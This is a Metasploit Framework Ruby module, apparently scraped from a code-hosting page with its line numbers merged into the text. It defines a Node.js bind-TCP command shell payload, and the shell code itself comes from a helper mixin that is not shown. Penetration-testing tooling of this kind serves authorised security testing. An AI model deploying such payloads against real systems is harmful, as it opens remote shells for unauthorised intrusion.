Path: blob/master/modules/payloads/singles/nodejs/shell_bind_tcp.rb
21547 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45# It would be better to have a commonjs payload, but because the implementations6# differ so greatly when it comes to require() paths for net modules, we will7# settle for just getting shells on nodejs.89module MetasploitModule10CachedSize = 5551112include Msf::Payload::Single13include Msf::Payload::NodeJS14include Msf::Sessions::CommandShellOptions1516def initialize(info = {})17super(18merge_info(19info,20'Name' => 'Command Shell, Bind TCP (via nodejs)',21'Description' => 'Creates an interactive shell via nodejs',22'Author' => ['joev'],23'License' => BSD_LICENSE,24'Platform' => 'nodejs',25'Arch' => ARCH_NODEJS,26'Handler' => Msf::Handler::BindTcp,27'Session' => Msf::Sessions::CommandShell,28'PayloadType' => 'nodejs',29'Payload' => { 'Offsets' => {}, 'Payload' => '' }30)31)32end3334#35# Constructs the payload36#37def generate(_opts = {})38super + command_string39end4041#42# Returns the JS string to use for execution43#44def command_string45nodejs_bind_tcp46end47end484950